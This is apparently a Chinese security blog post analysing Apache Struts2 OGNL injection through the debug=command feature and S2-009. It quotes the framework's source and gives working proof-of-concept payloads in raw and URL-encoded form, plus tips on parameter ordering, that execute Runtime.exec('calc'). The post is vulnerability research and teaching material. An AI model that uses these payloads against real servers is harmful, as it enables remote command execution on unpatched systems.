debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29)

不过这种只能算是一种安全风险,感觉算不上是漏洞,而是 struts2 的 debug 特性

debug 有 三种模式 在 org.apache.struts2.interceptor.debugging.DebuggingInterceptor#intercept 中可以看到

image-20250410134711475

image-20250410134727023

image-20250410134743944

command 的主要逻辑 就是 获得了 expression 参数,并执行 stack.findValue(cmd) 从而解析了恶意的 ognl 表达式

else if ("command".equals(type)) {
    /**
                 * 从会话中获取之前保存的ValueStack对象。
                 * 如果会话中不存在,则从当前ActionContext中获取ValueStack对象,并将其保存到会话中。
                 */
    ValueStack stack = (ValueStack)ctx.getSession().get("org.apache.struts2.interceptor.debugging.VALUE_STACK");
    if (stack == null) {
        stack = (ValueStack)ctx.get("com.opensymphony.xwork2.util.ValueStack.ValueStack");
        ctx.getSession().put("org.apache.struts2.interceptor.debugging.VALUE_STACK", stack);
    }

    /**
                 * 从请求参数中获取要执行的表达式。
                 * 设置请求属性,禁用装饰器。
                 * 设置响应的内容类型为纯文本。
                 */
    String cmd = this.getParameter("expression");
    ServletActionContext.getRequest().setAttribute("decorator", "none");
    HttpServletResponse res = ServletActionContext.getResponse();
    res.setContentType("text/plain");

    try {
        PrintWriter writer = ServletActionContext.getResponse().getWriter();
        // 调用 findValue 执行 ognl 表达式
        writer.print(stack.findValue(cmd));
        writer.close();
    } catch (IOException ex) {
        ex.printStackTrace();
    }

S2-009

影响版本:Struts 2.0.0-Struts 2.3.1.1

参考链接:https://cwiki.apache.org/confluence/display/WW/S2-009

S2-009 是利用参数值进行绕过,因为 acceptedParamNames 只对参数名称加强了正则表达式,而未对值进行严格的过滤,在 ParametersInterceptor 中 会将其添加到 stack 中,我们利用表达式取出值,进行二次解析,就可以实现命令执行

其实本质还是对 S2-003 的绕过,使用了如下正则

private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";

我们可以使用 top['foo'](0) 来访问 action 中的参数,并解析执行

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc"))(lingx5)&top['foo'](0)

url 编码后

foo=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=new java.lang.Boolean(false), %23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,@java.lang.Runtime@getRuntime().exec(%22calc%22))(lingx5)&top%5B%27foo%27%5D(0)

注意

url 编码不要 把 = 号 和 & 符号 进行编码,不然 ParametersInterceptor 无法识别,分割参数,会导致无法执行

漏洞分析

其实就是 action 里有一个名为 foo 的变量,我们把 ognl 表达式 赋值给它,在通过 struts2 取出,做二次解析

image-20250410150233996

这里就是 foo 和 top['foo'](0) 因为正则表达式 运行 []() '' 这些字符 所以 这个式子可以正常添加进 acceptableParameters 这个 map 中

image-20250410150429721

之后是遍历 acceptableParameters 调用 newStack.setValue(name, value);

先给 action 的 foo 属性赋值

image-20250410150549762

image-20250410150633810

开始执行 top['foo'](0) 了,看到解析为了 ASTEval 表达式,其实和之前就很相似了

image-20250410150809295

还是熟悉的 this._children[0].getValue 把 top 解析为了 ASTProperty 获取了 TestAction 这个类

image-20250410151155646

同样的 foo 获取了 ognl表达式

image-20250410151434242

后续就会来到 ASTEval 的 setValue 方法,之后再把 children[0] 解析成 ASTEval 节点,后续就和 S2-003 一样了

其实主要还是对 acceptedParamNames 这个正则的绕过

还有种 POC 是这样的

foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(foo)('meh')]=true

url 编码后

foo=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z%5B%28foo%29%28%27meh%27%29%5D=true

也是可以完成利用的

image-20250410164211892

值得注意的是,两个表达式在 TreeMap中的存放顺序,要让 ParametersInterceptor 在setValue时,先去进行 foo 的赋值,在进行后续foo 的读取和执行

就比如我把最后的 z[(foo)('meh')] 改为 a[(foo)('meh')] 就无法执行成功

foo=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&a%5B%28foo%29%28%27meh%27%29%5D=true
image-20250410164845528

参考文章

Struts2-001 漏洞分析(CVE-2007-4556) - 知乎

https://www.javasec.org/java-vuls/Struts/Struts2-1.html

https://github.com/xhycccc/Struts2-Vuln-Demo

posted @ 2025-04-10 16:59  LingX5  阅读(77)  评论(0)    收藏  举报